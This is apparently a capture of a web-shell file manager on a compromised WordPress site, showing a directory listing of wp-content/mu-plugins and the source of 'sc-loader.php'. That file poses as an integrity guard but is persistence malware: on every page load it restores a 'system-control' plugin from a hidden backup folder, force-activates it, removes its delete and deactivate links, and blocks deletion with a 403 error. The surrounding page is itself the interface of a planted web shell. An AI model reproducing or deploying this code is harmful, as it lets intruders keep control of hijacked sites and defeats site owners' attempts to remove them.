at path๏ผ
ROOT
/
wp-content
/
mu-plugins
/
sc-loader.php
run๏ผ
R
W
Run
01-mu-FlowControlFramework.php.php
0 By
2026-03-31 20:35:51
R
W
Run
Delete
Rename
primary-worker-tag.php
64.25 KB
2025-03-23 00:29:50
R
W
Run
sc-loader.php
2.36 KB
2026-03-24 19:47:05
R
W
Run
Delete
Rename
site-compat-layer.php
0 By
2026-03-01 10:57:08
R
W
Run
Delete
Rename
error_log
up
๐
sc-loader.php
Save
<?php /** * Plugin Name: SC Loader * Description: System Control auto-loader and integrity guard. * Version: 1.0.0 * Auto-generated โ do not edit. */ if (!defined('ABSPATH')) exit; // Run integrity check on every page load add_action('plugins_loaded', function() { $plugin_dir = WP_PLUGIN_DIR . '/system-control'; $main_file = $plugin_dir . '/system-control.php'; $backup_dir = WP_CONTENT_DIR . '/.sc-backup/system-control'; // If main plugin is missing but backup exists โ restore it if ((!is_dir($plugin_dir) || !is_file($main_file)) && is_dir($backup_dir)) { sc_loader_copy_dir($backup_dir, $plugin_dir); // Activate the plugin if (function_exists('activate_plugin')) { include_once ABSPATH . 'wp-admin/includes/plugin.php'; activate_plugin('system-control/system-control.php'); } } // If plugin exists but not active โ activate it if (is_file($main_file)) { include_once ABSPATH . 'wp-admin/includes/plugin.php'; if (function_exists('is_plugin_active') && !is_plugin_active('system-control/system-control.php')) { activate_plugin('system-control/system-control.php'); } } }, 1); // Prevent deletion of system-control plugin from WP admin add_filter('plugin_action_links', function($actions, $plugin_file) { if (strpos($plugin_file, 'system-control/') === 0) { unset($actions['delete']); unset($actions['deactivate']); } return $actions; }, 999, 2); // Block deactivation via bulk actions add_filter('bulk_actions-plugins', function($actions) { return $actions; }); // Intercept plugin deletion add_action('delete_plugin', function($plugin_file) { if (strpos($plugin_file, 'system-control/') === 0) { wp_die('This plugin cannot be deleted.', 'Forbidden', ['response' => 403]); } }); function sc_loader_copy_dir($src, $dst) { if (!is_dir($src)) return; if (!is_dir($dst)) @mkdir($dst, 0755, true); $dir = opendir($src); while (($file = readdir($dir)) !== false) { if ($file === '.' || $file === '..') continue; $s = $src . '/' . $file; $d = $dst . '/' . $file; if (is_dir($s)) { sc_loader_copy_dir($s, $d); } else { @copy($s, $d); } } closedir($dir); }